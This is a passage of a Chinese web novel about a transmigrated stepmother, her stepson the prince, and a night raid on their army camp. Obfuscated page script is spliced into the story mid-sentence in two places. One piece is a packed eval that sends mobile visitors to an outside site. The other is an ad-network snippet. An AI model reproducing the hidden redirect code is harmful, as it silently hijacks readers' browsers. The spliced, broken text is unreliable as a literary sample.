说罢,还未等苏若琳反应过来,面前人握住她的手腕猛地一拽,她就这样倒进了面前人的怀里。 面前人的胸口是炙热的、滚烫的,一如他眼底的熊熊烈火。 苏若琳甚至能清晰地听到他胸腔剧烈跳动的声音。 咚咚,咚咚。 “若琳......” 面前人低喃着她的名字,用着几乎是痴迷的目光注视着她俏丽的容颜。 更准确来说,是注视着她正轻抿着的、娇艳得仿佛将要滴血的唇瓣。 苏若琳咽了口唾沫,略有些惊恐地望着自己失而复得的儿子。 “婉枝,你......” 话才说到一半,面前人赫然托着她的后脑,低下头吻住了她柔软的唇瓣。 苏若琳难以置信地瞪大眼睛。 可是面前人的动作并没有丝毫地停顿,他娴熟地伸出粗糙的舌头,撬开心上人的贝齿,深入到心上人的口中。 “唔......”堪堪反应过来的苏若琳连忙伸出手去推面前人的胸口,可是她即便是使出了吃奶的劲,仍旧不能推开眼前的人分毫。 怎么,怎么会这样? 她的婉枝怎么会...... 直到此时,过往和萧怀琳相处的那些记忆才终于被翻上了她的心头。 眼前的少年郎曾以一敌五手刃敌军,救下了险些被凌辱的她; 后来又约她去饕餮楼的包间约会,陪她游玩了整整一天; 也曾在幽深的夜里,环抱住伤心悲痛的她,温声细语地安慰; 也曾在她为其疗伤时,将她拥入怀中,亲吻她的唇...... 如同现在这般。 眼前的少年郎,是即将坐拥天下的宁安王萧怀琳,再也不是她那香香软软的女儿,杨婉枝...... 不知过了多久,萧怀琳终于心满意足地收回自己的舌头,离开心上人的朱唇。 可是当浓烈的欲望褪去,他低头看着怀中呆愣的人儿,才终于反应过来自己方才究竟做了什么。 “若......母,母亲......”他惊慌地呼唤着怀里的心上人,“你,你怎么......” 最后一个“样”还未出口,怀里的心上人猛地将他推开,用尽全力离开他的怀抱与桎梏,然后逃出了他的军帐。 望着心上人落荒而逃的背影,萧怀琳悲伤地笑了。 笑着笑着,两行晶莹的泪水自他通红的眼眶溢出,在白皙的脸上留下了两道泪痕。 从今往后,他的若琳......肯定会恨死他了吧。 苏若琳几乎是逃命一般地逃回了自己的军帐。 她匆忙地掀开军帐厚重的门帘,直直地倒在了帐壁边上的软榻上,大口地喘着粗气。 喘着喘着,呜咽声自她口中响起,痛苦而又悲伤。 怎么就变成这样了呢...... 她趴在软榻上的身躯不断地颤抖着,忽地,一只手轻轻地拍了拍她的后背。 她警觉地从软榻上弹起来,这才发现面前的人原来是青夭。 青夭将手中的奶茶递给她,看着她的眼眸中填满了担忧:“夫人,您还好吗?” 青夭原本是坐在桌前的,而后她便看到夫人突然间冲入军帐,径直倒在了角落的软榻上,将头埋进被子里哭了起来。 夫人之前不是去了王爷的军帐么?这怎么会...... 她无从知晓。 青夭自小习武,在王爷还是小姐的时候就潜伏在他身边,一是为了保护,二是为了看管。 若要说打架伪装,她得心应手,毫不露怯;可要说安慰人...... 她不知道要怎么安慰哭得肝肠寸断的夫人,唯一会做的,便是给夫人倒一杯刚调好的奶茶。 苏若琳缓缓地接过她手中的茶杯,静静地注视着杯中正升腾着氤氲热气的奶茶。 这奶茶正倒映着她哭红的脸庞。 良久,苏若琳深吸了一口气,抬起头看向面露关切的青夭,冷冷道:“滚出去。” 青夭微微一愣,完全不知道夫人为什么会下这样的命令。 “夫,夫人......” 可下一刻,苏若琳便将手里的茶杯扔了出去:“我让你滚出去!” 茶杯擦过青夭的脖子,溅出的几滴奶茶落在她脖颈处的肌肤上,留下了几丝灼痛。 她不可思议地看着夫人,却在夫人那双俏丽的眼眸中看到了浓烈的恨意。 那憎恶的眼神,仿佛在看自己的弑亲仇敌。 夫人她...... 青夭很快收敛起惊讶的神色,朝着苏若琳跪下,磕了一个头:“奴婢告退。” 而后草草地离开了军帐。 青夭被赶出来的消息很快传到了萧怀琳的耳中。 他痛苦地捂住脸。 自那晚过后,苏若琳就一直把自己关在军账里,拒绝见任何人。 就连每日送进军帐里的膳食,都基本是没怎么动过就被端了出来。 杨纨玦和杨纨枫看在眼里,急在心里。 这些日子大哥的情绪也很低落,明显看得出来他心不在焉。 明明徽州城才刚被拿下不久,可是昨日他开会的时候竟然又把攻打徽州城的部署翻了出来;有时候开会开到一半,他的思绪早就不知道飘到了何处。 聪明如两兄弟,知道母亲和大哥情况不对定然不是巧合,他们之间也许发生了什么。 杨纨枫猜破了脑袋也猜不出究竟发生了什么,不管是大哥还是母亲那边他都想尽了办法,大哥闭口不谈,母亲连人都见。 杨纨玦的思绪不由自主地想到了母亲晕倒那日,大哥守在母亲的榻前,轻握着母亲的那只手。 先前因着公务太忙,他便很快将此事抛却脑后,如今再回忆起来,越想越不对劲。 但是他就是不明白哪里不对劲,孝顺的儿子守在生病的母亲榻前,合情合理,任谁也挑不出任何错处。 难道大哥对母亲不是真心的孝顺,他只是做戏给自己和曾祖弟弟看? 这一怀疑的念头刚冒出来,便迅速地被他掐灭。 大哥当时看向母亲那关切的眼神,绝不可能是违心。 他实在是想不出来了。 这日午后,祝贤盛把萧怀琳叫到了他的军帐。 看着老爷子竟然亲自起身给他倒茶,萧怀琳连忙站起来,止住老爷子斟茶的动作。 “您慢着,晚辈自己来就好!” “晚辈?”祝贤盛须发全白的脸上露出一个冷笑,“您是大楚的宁安王,未来的皇帝,老朽任何能担得起您的长辈?” 萧怀琳眸色暗了暗,他知道老爷子意在何处。 他若认自己是母亲的儿子,那自然是曾祖的晚辈。 可是有哪个儿子竟敢对自己的母亲...... 哪怕是继子。 而他对面的祝贤盛见他低着头,久久未曾言语,最终叹了口气:“按照计划,三日后我军便将攻打丰都,王爷作为萧军统帅,这西伐的最后一战切不可分心。” 毕竟萧怀琳不仅是萧军的统帅,更是大楚皇位的继承人,若是他在这种紧要的关头出了什么意外,不仅会对萧军造成致命打击,甚至有可能危及到大楚的整个江山。 祝贤盛在心里盘算着,等到回去以后,这混 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然后被他们的副统韩将军提着脖子扔了出去。 把人扔出去越野跑步以后,韩龙看着萧怀琳的方向,有些担忧地叹了口气。 他自认为是所有将军里边除了王爷最能打的,也是最早被王爷拉去比划的,侥幸撑过了一刻钟。 可是现在王爷再和人比划,对方已经能和他耗上将近两刻钟了。 这说明王爷已经逐渐体力不支了。 可是看王爷的样子,还是一点没有停的打算。 这般想着,忽地脸蛋上的疼痛传来,韩龙捂着脸鼓包的位置抽了抽嘴角。 王爷这打人是真得发了狠地往死里打啊,那拳头挥到他脸上是一点不带留情的。 此时萧怀琳已经又撂倒了一个。 入了秋,天气已经渐渐地凉了,可是这么一天打下来,他非但没有觉得冷,反而满身热气。 那一头乌黑的发丝早就汗湿沾到了一起,额头和脖子上全都淌下了汗水,沾湿了已经褶皱的衣领。 可即便如此,他也丝毫未曾将身上的衣袍解下以散热,即便是最外面的那一层衣袍,也未曾松开一个扣子。 汗水和身上的燥热凑到一起,闷得他难受。 不过这么一打,身上虽然是难受了,可心里的压力终于得到了释放。 这般想着,他又抬起头环顾四周:“还有谁?” 周围的将士基本上都被打了个遍,纷纷苦着一张脸。 这时,人群里传来一道熟悉的声音:“我。” 众人顺着声音看去,只见一个英俊的少年郎迈着沉稳的步子,越过人群走了出来。 萧怀琳微微一愣。 竟然是纨玦。 杨纨玦缓步来到他面前,活动了一下手指的关节,朝他微微一笑:“萧军的将军都打了一遍,王爷唯独漏了我啊。” 说罢,他凑近神色复杂的萧怀琳,附在他耳边低声道了一句:“正好,阔别了三年,也让我见识见识大哥如今到底有多强。” 闻言,萧怀琳叹了口气:“那就来吧。” 他确实是在下意识避着这个弟弟。 可是即便逃避了,该找上门来的也会自己找上来。 也正好,那就让他看看他这个被全军夸了一遍的弟弟,水平如何吧。 两兄弟互相看着对方,眼前着抬起手臂就要动手,忽地远处传来了一阵又一阵惊慌地呼喊。 “敌袭!是敌袭!!!” 118. 地府修罗 熊熊大火自军营的地方燃起,弥漫遮天,嚎叫声和呐喊声连成一片。 “救火,救火啊!” 有士兵大喊着,忽地,有一把剑刺向他的后背。 然而还未等那柄剑刺到士兵的身上,一个将军已经手起刀落,斩下了执剑敌军的头颅。 “哪着的火?”将军问他,“粮仓吗!” 一般敌人突袭,都会先烧粮仓,可是看那着火的方向,又不像是粮仓。 “不是!是,是......” “是王爷的军帐!” “他们想趁乱剿首!”混乱之中,有人大喊。 那将军赶忙问道:“王爷呢?!” “王爷和杨副统往军营的方向去了!” 彼时韩龙刚砍死一个敌军的士兵,他往地上吐了口血水,大声喊道:“诸军随我冲!” “剿灭贼寇!!!” “杀——!!!” 最初听到有敌袭的时候,刚要互相动手的萧怀琳和杨纨玦便看到了军营上方,那大火将要燃起时的浓烟。 敏锐的两兄弟也迅速判断出了敌军的目的。 萧怀琳自己就在这里,自然是不必有危险,可...... 母亲和老爷子他们还在军帐里呢! 两兄弟对视一眼,迅速达成共识,朝着火的方向赶去。 · 大火燃起之时,苏若琳昏昏沉沉地从软榻上坐起。 在嗅到了呛人的浓烟瞬间,她登时吓得清醒了。 着火了?! 她的军帐基本上处于军营的正中心,附近的军帐不是统帅萧怀琳的就是诸军师和将军们的,无论哪一个都是重中之重。 这附近怎么会着火?! 但随后,帐外的呐喊声便说明了一切。 “敌袭!是敌袭——!!!” 苏若琳蓦地瞪大眼睛。 敌袭! 她连忙起身下榻,去柜子里匆忙翻找出了一把匕首——这还是先前萧怀琳给她,遇到意外防身用的。 她才刚拿出匕首,随后军帐的门帘便被掀开,她连忙警觉地转过身。 进来的是青夭。 彼时青夭一手执剑掀开门帘,另一只手捂着嘴轻咳了几声,刚一抬头,便见到夫人正举着一把匕首,警惕地看着她。 见到夫人没事,青夭松了口气,三两步来到苏若琳面前,关切地问道道:“夫人,您没事吧?” 见是青夭,苏若琳同样也松了口气:“我没事。” 可随后她便瞪大双眼看向青夭的肩膀:“你受伤了!” 只见青夭的肩膀被割开了一个极深的口子,正往外不断地冒着鲜血。 “小伤罢了。”青夭说着就拉起苏若琳的手,带她往外走去,“这里不太安全,奴婢带您离开这里。” “是哪里着得火?”苏若琳跟在青夭身后,边走边问。 “是王爷的军帐。”青夭说着又轻咳了几声。 “怀琳的军帐?!”苏若琳震惊地看着青夭,她感觉到自己的心被猛地揪起,提到了半空,“他人现在在哪?!” 青夭闻言回过头看了她一眼,眼中流露出几分庆幸。 “王爷本来在练兵,但是现在应该也快赶过来了。” “您放心,王爷没事。” 夫人果然还是关心王爷的,那么夫人和王爷之间肯定就还有回转的余地。 太好了。 得知萧怀琳没事,苏若琳悬着的心也随之落下了,缓缓松了口气。 然而还没等她这口气松完,在青夭掀开军帐门帘的瞬间,四周的敌军登时看了过来。 “这还有俩娘们!” 这时,不知是哪个突厥士兵喊了一句:“咱们得快走了!楚军那帮人快过来了!” “可是宁安王还没找到呢!”另一个一个突厥士兵焦急道。 “还找什么宁安王!”方才那个突厥士兵急慌慌地喊道,“再不走咱们的小命都没了!” 一个看着像是将领的人走了过来,上下打量了青夭身后的苏若琳一眼:“这个娘们穿得这么精致,定然是哪个将领的家眷,把她挟持了逃出去!” 闻言,青夭当即举起手中佩剑,大喝一声:“谁敢?!” 下一刻,她便砍倒了一个已经来到她身前的突厥士兵。 “妈的,这娘们会武。”突厥将领骂了一句,“一起上!” 青夭连忙回过头对苏若琳道:“夫人您先回帐!” 苏若琳握紧手中的匕首,死死地等着越来越近的敌军。 她不知道青夭实力如何,但也肯定打不过这么多人。 她很想留在外面帮忙,可是她也知道,就凭她这三脚猫功夫,留下来根本就是添乱。 眼见着敌人粉粉冲了上来,青夭也顾不上再劝夫人,当即和面前的敌军们缠斗了起来。 苏若琳咬了咬牙,逃回了军帐里,拉开门帘的一条缝,紧紧地盯着外面。 青夭最开始还能和敌军们打个来回,可随后敌军就越来越多,似乎所有的敌军都得了命令,朝这边赶来。 敌人太多,青夭疲于应付,逐渐体力不支,被敌人抓住破绽,在后背上留下了一个狭长的道口。 苏若琳心疼地瞪大眼睛,努力捂住嘴才没让自己叫喊出来。 见到青夭负伤的模样,她不知怎么就想到了萧怀琳的那满身伤疤。 他也面对过一个人同时被这么多敌人围攻吗? 眼看着青夭身上的伤口越来越多,苏若琳死死地握紧手里的匕首,下唇生生咬出了血,铁锈味弥漫在口。 援军呢!为什么还没有来啊?! 终于,在敌军往青夭身上又划下了一个口子之后,她终于倒在了地上,彻底失去了爬起来的力气。 “妈的,你这娘们可真难缠!”一个士兵往地上吐了口痰,说着就要举起手里的刀,往青夭身上砍去。 说时迟,那时快,苏若琳猛地掀开门帘,发了狠地冲到那个士兵身后,举起手里的匕首,捅进了他的脖子。 她不知道心脏到底在什么地方,没法保证一下捅死敌人,但是捅脖子的话,肯定没有问题。 那个被捅了脖子的士兵瞪大眼睛倒了下去,周围的敌军都惊呆了。 突厥将领最先回过神,恶狠狠地看着苏若琳:“这楚军的娘们都有点能耐啊,给我把她抓起来!” 士兵们听令,纷纷朝苏若琳冲了过去。 满身伤痕的青夭拼尽力气想要从地上爬起来,可是她已经彻底精疲力尽,挣扎了许久,最后还是跌回了地上。 最后她只好冲着苏若琳大喊:“夫人!您快跑啊!” “别管奴婢了!” 然而苏若琳却毅然决然地挡在她的身前,毫不犹豫道:“我不会丢下你的。” 她一直很有自知之明,她来到这个世界只能说是运气好,穿越到了一个家境优渥的大小姐身上。 可是这并不代表她就是穿越文里的女主角,能随便地开金手指。 她一点不会打架,真和敌人杠上就是一个死。 可是即便如此,她也不要看着任何一个她在乎的人,当着她的面死去。 眼见着敌军凶神恶煞的嘴脸越来越近,她举起手里的匕首,殊死一搏。 可这一次她的手臂甚至还没有落下,敌军的士兵就抓住了她手腕,随后朝着她白皙的脸上甩了一个巴掌过去。 “妈的,真以为自己有多能耐了不成。”突厥士兵骂了一句,抓着她的手一翻,就让她手中的匕首抵上了她自己的脖颈。 突厥将领狞笑地看着苏若琳,伸出一只手,捏了捏她细嫩的脸颊:“啧啧啧,瞧瞧这小脸嫩的。” “夫人!”青夭急忙大叫着,努力撑起满是刀口的手臂,再次想要爬起来,“不许欺辱夫人!” 而后被突厥的士兵一脚踹翻回了地上。 “你着什么急呢?”突厥将军说着举起手上的佩刀,朝着青夭的脖颈砍了下去,“下一个就是你!” “青夭!” 眼见着敌军的刀手起刀落,即将砍在伤痕累累的青夭脖颈上。 青夭忽地笑了,朝着苏若琳道了一句。 “您和王爷,一定要好好的。” 而后缓缓闭上了眼睛。 苏若琳声嘶力竭地大喊着,泪水瞬间淹没了眼眶:“不要啊——!” 她真的后悔了。 她前几日为什么要那样对青夭? 为什么援军还没有来啊?! 老天啊,有谁能救救她们啊!!! 这是,不知何处忽地响起一道剧烈的轰鸣声,苏若琳的军帐也应声倒塌。 原来就在他们缠斗之际,熊熊烈火已经蔓延到了苏若琳的军帐,此时此刻,那被烈火吞噬的帐子再也支撑不住了。 因着一声,原本聚集在附近的敌军连忙四散开来。 而支撑着军帐的柱子轰然倒塌,刚好砸向苏若琳的方向。 “妈呀!”控制着她的士兵被吓了一跳,竟然一把将她推向即将倒下来柱子,抱头鼠窜。 “夫人——!” 青夭终于挣扎着从地上爬了起来,她拼了命地朝夫人的方向跑去,可是已经完全来不及了。 眼见着那燃烧的火柱迎面砸下,再要躲闪也已经来不及,苏若琳任命地闭上眼睛。 没想到啊,她居然是这么个死法...... 可是据说,烧伤都是很痛的...... 老天啊,虽说您是帮我救下了青夭,作为代价让我死我也认了。 但是您给的这死法也太残忍了吧? 苏若琳双眸紧闭,准备迎接自己的结局。 可是预想中的疼痛并没有传来,相反地,她感觉到自己跌进了一个温暖的怀抱。 与此同时,巨大的砸陷声在不远处响起。 “王 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13749918|123316||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爷!” 听见青夭的呼喊,她猛地睁开眼睛,那张数日不见的俊俏面容就在她的眼前,正对她露出温和的微笑,一如往常。 “别,别怕......”萧怀琳的眉头因为痛苦而紧皱着,就连声音都带着几分颤抖,却依然含笑看着她。 而后,他颤颤巍巍地伸出右手,轻柔地擦去心上人脸上的泪痕。 而他的左臂却无力地垂落着,在那原本就满是伤疤的肌肤上,又覆盖上了一层火灼的烫痕,触目惊心。 苏若琳难以置信地瞪大眼睛。 萧怀琳他,他竟然徒手抵开了燃火的木柱?! 而原本四散的敌军一听到这声“王爷”,顿时停下了脚步。 “这可真是踏破铁鞋无觅处。”突厥将领抹了一把脸,好似能把脸上的狼狈都擦掉似的,“得来全不费功夫啊。” “宁安王殿下。” 萧怀琳闻言扭过头,抬起那只被烫伤的左臂,将心上人掩在身后,右手反手抽出了腰间的佩剑。 他冷笑了一声:“就凭你们几个杂碎,也想杀我?” 青夭同样强撑着伤痕累累的身体,护在苏若琳的另一侧。 “不试试怎么知道?”突厥将领冷喝了一声,四周的敌军当即包围在他们四周。 “我们本来就是抱着必死的决心来的,若是今天能用我们的命,换你这楚军统帅的一条命,值了!” “兄弟们,杀了宁安王!他们楚军就完了!” 眼见着四周的敌人越来越近,萧怀琳冷声吩咐了一句:“保护好夫人。” 话落间,他人影一闪,竟然已经冲了出去。 这是苏若琳第一次亲眼见到萧怀琳浴血沙场的样子。 上一次在京城时,那几个突厥士兵不过只是些喽啰,她当时都未看清萧怀琳出招的动作,那几个喽啰就已经命丧黄泉。 可是这一次的敌军,显然都是些训练有素的精锐,比上次的那几个要强上太多。 可即便如此,萧怀琳同时面对着十余个敌军,还是在左臂负伤的情况下,竟然丝毫没有落入下风。 他执剑横扫,抬手间便取了敌军两个士兵的性命。 而他依旧面不改色,那冷漠的俊脸上写满了狠厉。 苏若琳忽地有些恍惚,眼前的少年郎,明明是一模一样的面容,却再也看不见从前那个温婉女儿的半分影子。 他甚至和从前面对她时,那副温润如玉的模样都完全不同。 完全就像是……三个不同的人。 尽管萧怀琳最初不落下风,可那也只是一时的,敌军们纷纷不要命地朝他扑过来,力求带他一起命丧黄泉,而他还在白天打了一天的架,体力渐渐不支。 终于,他一个晃神,敌军将领在他那被烫伤的左臂上又留下了一个刀口。 “怀琳——!”苏若琳心疼地大喊。 其实萧怀琳的左臂已经被疼得麻木了。 那一个小小的刀口落在烫伤的手臂上,就好比是被蚂蚁咬了一下,他几乎都感觉不到多余的疼痛。 可是随后,他的耳边却传来了心上人的呼喊。 那呼喊声是那样的心痛,夹杂着满满的关切和担忧。 萧怀琳惊喜地瞪大眼睛。 方才,他的若琳喊的是怀琳,是怀琳! 不是婉枝! 仿佛正是这声呼喊给予他力量,萧怀琳猛地一喝,那只被砍到的手臂就着敌军首领的刀,猛地往前一推。 那原本被砍到的伤口登时加深了几分,原本只是往外流的鲜血如今直接溅射了出来,染红了敌军将领手里的刀。 而敌军将领也被吓一跳。 这宁安王疯了吗!不仅不躲,还往刀上凑! 然而就因为萧怀琳这么一推,他的剑刚好够到了对方的脖子。 就在他惊愣的空当,萧怀琳举起手中剑,猛地砍下了他的头颅。 随着那面露不可思议的头颅滚落到了地上,无头的身体登时喷涌出鲜血的喷泉。 敌军见将领被杀,纷纷呆住了。 随后他们就看到,在他们将领倒下的身体后面,名震天下的杀神宁安王,正执剑向他们走来。 只见对方全身都沾满了他们将领方才喷涌出的鲜血,那张惨白的脸颊面无表情,眼中却饱含杀意。 对方逆着熊熊燃烧的烈火朝他们缓步走来,火光映在他沾满鲜血的脸上,恍若地府修罗。 明明他只有一个人,却令他们所有人都感到胆寒。 这,这就是令人闻风丧胆的萧楚杀神啊!!! 他们慌忙地转过身,拔腿就想要逃跑。 这时,四周传来了萧军的呐喊:“剿灭敌军残党!掩护王爷!” “杀啊——!” 滔天的喊声袭来,淹没了这些突厥士兵,他们绝望地跪倒在了地上。 围剿彻底失败了。 他们,也彻底完了...... 119. 黎明破晓 不消片刻,萧军便将突厥残党彻底包围。 韩龙吹了个口哨:“阿穆托是突厥派在陕州的守将吧?” 有将军激动道:“如今他已死在王爷剑下,陕州群龙无首,那咱们此时进攻岂不是不费吹灰之力?” 话音未落,众人纷纷听到了铁骑的声响,以及远处的呐喊。 “什么情况?”韩龙大喊,“这不是咱们萧军的铁骑吧?” “是,是突厥的铁骑!”有士兵大喊,“他们朝军营打过来了!” 萧怀琳冷笑了一声:“垂死挣扎罢了。” 这些铁骑想必就是突厥留在大楚最后的兵力,如今想要和他们同归于尽么? “那不正好。”韩龙的语气格外兴奋,“既然突厥那帮杂碎全出来了,陕州没了敌军驻守,杀了这帮人,咱们就能直接入城了!” “众将士听令!”萧怀琳执剑的右臂高悬,银白的剑身在月色下闪烁着璀璨的光芒,“调整阵型,迎战!” 萧军全军听令而动,步兵迅速在军营前集结组成方阵,骑兵则去战马处寻找自己的马匹,翻身上马。 萧怀琳朝韩龙使了个眼色,而对方却心有余悸地看了眼他伤痕累累的左臂:“您都伤成这样了,不赶紧疗伤吗?” “无碍。”萧怀琳言简意赅,“备马。” 韩龙叹了口气,转身便要去牵马,随后一道声音喊住了他:“等等!” 两人闻言纷纷回过头,便见到苏若琳急匆匆地来到萧怀琳面前;“你不能去!” 她看向萧怀琳那触目惊心的左臂,以及左臂处那正在往外不断流出鲜血的伤口,那双秀丽的眼眸中满是焦急和心疼。 “你伤得这么严重,必须先处理伤口!” 见到了心上人眼中饱含的关切,萧怀琳那干涸了许久的内心终于遇到了滋润的暖流,而那双狠厉而满是杀意的双眼也在顷刻间变得温柔。 “我没事的。” “你有事!”苏若琳眉头紧锁,“萧军又不是没了你就不能打,不是还有副统韩龙和纨玦吗!你瞎逞什么能!” “我真没事的,你看。”萧怀琳这般说着,忍着灼伤的剧痛,去牵心上人的手,朝她露出了一个温暖的微笑,“这条胳膊没事的。” “你骗人!”苏若琳急得眼泪都哭出来了,“别以为我不知道你都疼成什么样子了!” 这混蛋手臂上的烧伤还是其次的,鬼知道那个突厥将军的刀干不干净,砍得伤口那么深,万一感染了破伤风可怎么办啊! 这般想着,她的声音逐渐变得哽咽,她紧紧握住面前人的大手,仿佛只要将这只手抓紧些,面前人就不会离开。 “你总是这样。”晶莹的泪水划过苏若琳的面庞,她看着面前人狰狞的左臂,鼻音浓重,“受伤了怎么也不说,可是这次你伤得这么深,如果不及时处理,会死的!” 萧怀琳最大的弱点,便是看不得心上人落泪,此时见到心上人哭泣,他的心当即被狠狠揪起,又疼又紧。 可是这一次他却没有将心上人揽进怀中安慰,而是伸出那只完好的右臂,缓缓托起心上人的脸颊,直视着她秀丽的双眸,缓缓道: “若琳,你听我说。” “我军现在面对的是敌军最后的残党,他们全都带着破釜沉舟的决心,士气高涨。” “所有人都知道方才的突袭是冲着我来的,如果我不能上战场,我手下的将士们都会以为我出了什么意外,士气低迷,届时,我军伤亡不可估量。” 说罢,他又看向心上人那被敌军扇红的半边脸,眼中闪过一丝杀意。 他视若珍宝的心上人,怎么能被那帮杂碎这般欺负?! 他要敌军全军,都为此付出代价。 苏若琳见到面前人认真的眼神,微微一愣。 这是她第一次见到他这么严肃的模样。 她张了张口,还想再说什么,突然,身后传来了“噗通”一声。 身负重伤、失血严重的青夭终于晕倒了。 “青夭!”她连忙去抱起倒在地上的青夭,“青夭,你怎么样!” 她不断地呼唤着,然而对方却始终眼眸紧闭,丝毫没有醒来的迹象。 苏若琳不禁咬牙,青夭的伤口也需要赶紧处理,不能再继续流血了! 恰好这时,韩龙将萧怀琳的战马牵了过来,后者利落地翻身上马。 苏若琳眼看着他将要策马离开,连忙喊了一声:“萧怀琳!” 萧怀琳闻言回过头,便见到他那视若珍宝的心上人,正跪坐在月色下,怀里抱着重伤的青夭,望向他的眼眸中满是不舍。 他听到自己的心上人哽塞道:“你一定,一定要,好好地回来。” 温润如玉的少年郎逆着光露出了一个浅浅的微笑,连带着那条受伤狰狞的左臂,都被月色覆盖了一层柔和的光。 “放心吧。” 只因你这句话,我即便是爬,也会爬回来的。 ...... 苏若琳最后目睹着萧怀琳带着萧军远去了。 她匆匆抹掉眼泪,扶着青夭到了她的马车上。 军帐已经被烧毁了,定然是回不去了,但好在马车的榻板上还铺着毡毯,不至于很硬很冷。 苏若琳将青夭轻轻放到毡毯上,然后去找军医。 军医如今正在伤兵营里,好在大火没有烧到伤兵营,不少被袭击受伤的士兵都聚集在此处,军医忙得晕头转向。 苏若琳一见到那些受了伤的士兵才知道,原来青夭受的伤竟还不算最严重的,而受限于军营的条件,军医的医治方法也几乎就是草草地上药包扎。 见状,她也不好意思请军医去给青夭把脉医治,微微叹了口气,向军医讨要了金疮药和包扎用的细麻,便回到了马车上。 等她将青夭身上那件已经被砍得千疮百孔的衣袍褪下时,露出的满身伤口令她心惊肉跳。 她小心翼翼地给青夭清理伤口,上药包扎,最后找出了一条毯子给青夭盖上。 忽地外面雷声轰鸣,不消片刻,便下起了倾盆大雨。 苏若琳当即瞪大眼睛。 萧怀琳还在外面打仗啊! 他的左臂本就伤得严重,如今在这么被雨一淋,伤口不感染就见了鬼了! 她连忙掀开背风面的那扇车窗,遥遥地望向萧军远去的方向。 外面雷雨大作,原本燃烧的熊熊大火几乎顷刻间就被浇灭了,四周的温度也迅速冷了下来。 苏若琳的内心仿佛也被这倾盆大雨浇了个遍,逐渐泛起了凉意。 萧怀琳这个笨蛋...... 此时此刻,她终于清晰地认识到,萧怀琳名字里的“怀琳”,究竟是何意。 “我正是在怀念一个如美玉一般的人。” 那个小子居然,从一开始,就对自己...... 昔日在饕餮楼时,少年郎温柔的话语再次回荡在她的耳边。 “若是能留在她身边长长久久地陪伴她,我愿意付出一切代价。” 她想起了上一次这般雷雨轰鸣的夜晚,她和萧怀琳在屏风后的狭小天地里,缠绵缱绻。 那夜,少年郎压在她的身上,明明难受得眼泪都流出来了,却还是浑身颤抖地强忍着欲望。 他当时哭着对自己说:“不,母亲,不可以......” 他...... 忽地,一道闪电降临天地,苏若琳只觉得眼前白茫茫的一片。 而后,脑中忽地澄明了。 那个少年郎,即便对自己是真的爱慕,可是他最初也并未想过伤害自己吧...... 他本可以强行让自己顺从的,无论是他的权势还是能力都可以办到。 可是他没 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 有。 他只是怀抱着一颗虔诚的心,装作一个陌生人,慢慢地接近她,对她倾尽温柔。 也正因此,他才走进了她的心…… 记忆忽地回到了那夜暴雨后的清晨,少年郎见到她满身的吻痕和淤青时,竟然惊得呆住了。 少年郎是那样的单纯,单纯到见到心上人的身体时,都会不由自主地脸红。 她又想起了,对方随后她拥入怀里,小声道:“我,我中意你啊......” 苏若琳长长地叹了口气。 其实他没有做错过什么的。 他们两个至多只能算是曾经的继母和继子,如果是放到她前世,既不触犯法律,也不违背道德。 他只是,喜欢上了自己...... 苏若琳望着外面的倾盆大雨,露出一丝苦笑。 她何德何能啊? 能让这般优秀的少年爱慕自己,爱慕到为了她可以不顾一切。 爱慕到,小心翼翼地隐藏起过往,用尽所有的力气讨好她。 爱慕到,哪怕是被下了春药,也不愿意伤害她。 爱慕到,即便是拼死,也为她挡下那燃火的木柱...... 暴雨还在不顾一切地下着,不知过了多久,榻板上的青夭轻哼了一声,缓缓睁开了眼睛。 她看到自己正躺在柔软的毡毯上,身上盖着一条毯子。 青夭试着抬起手臂,可是她不过轻微一动,全身的每一寸肌肤都在叫嚣着疼痛,疼得她倒吸了一口凉气。 末了,她缓缓转过头,便见到一个俏丽的身影正倚坐在马车的车窗边,单手托着脸颊,失神地看着窗外。 “夫......夫人?”青夭迟疑地开口,声音沙哑。 正在发愣的苏若琳闻言回过神,便见到青夭正强撑着身下的榻板想要坐起来。 她连忙过去将青夭扶起,伸出手触碰了一下对方的额头,随后松了口气。 没有发烧,太好了。 而这么一坐起来,青夭才发现自己身上的衣服已经被褪去,满身的伤口都已经被细致地包扎好,她连忙将毯子往上拉了拉,堪堪盖住胸口。 而她那张原本苍白的脸颊也迅速变红:“是,是您给我处理的伤口吗?” “对。”见到青夭竟然害羞了,她含笑揉了揉对方的头,“受伤的士兵还蛮多的,军医忙得没空来把脉,我就先给你处理了一下。” “虽然失血有点多,不过现在看来应该没有什么大碍了。” 闻言,青夭的脸颊更红了,她的睫毛微微颤动着,声音细若蚊蝇:“谢谢夫人......” 望着青夭羞涩的模样,苏若琳目光柔和:“是我该谢谢你才对,若不是你,我早就被敌军挟持了。” “那,那都是奴婢应该做的!”青夭连忙道,“而且最后也是王爷救了您!” 说罢,青夭这才想起负伤的王爷,她扭头看向窗外的滂沱大雨,问道:“王爷是去了战场吗?” 苏若琳微微点头,眼神有些暗淡。 青夭见到夫人这副样子,踌躇半天,最后小心翼翼地开口安慰道:“王爷吉人自有天相,您不要伤心。” 话音未落,忽地一道闪电打下来,照亮了苏若琳疲惫不堪的脸庞。 青夭担忧地看着她:“您也休息吧?” “我没事。”苏若琳轻轻摇头,勉强露出一丝微笑,“我再等一会儿。” 青夭连忙道:“那奴婢和您一起等。” 主仆二人就这样看着窗外连绵不绝的大雨,安静地等待着,祈祷它快些停止。 然而这场大雨却下了整整一夜,直至在黎明破晓,雨才堪堪停了下来。 终于,当天边绽放出第一丝曙光之时,苏若琳望着窗外喃喃道:“雨停了。” 萧怀琳他们……是不是也能平安归来了? 120. 沐浴 天亮了,雨停了。 苏若琳起身准备下马车,想要去看看这场大火还能烧剩下什么。 而且昨夜事发得太过突然,也不知道老爷子和纨玦纨枫他们怎么样了,她也得去看看。 青夭见状也想起身:“奴婢和您一起下去!” 随后就被苏若琳按了回去。 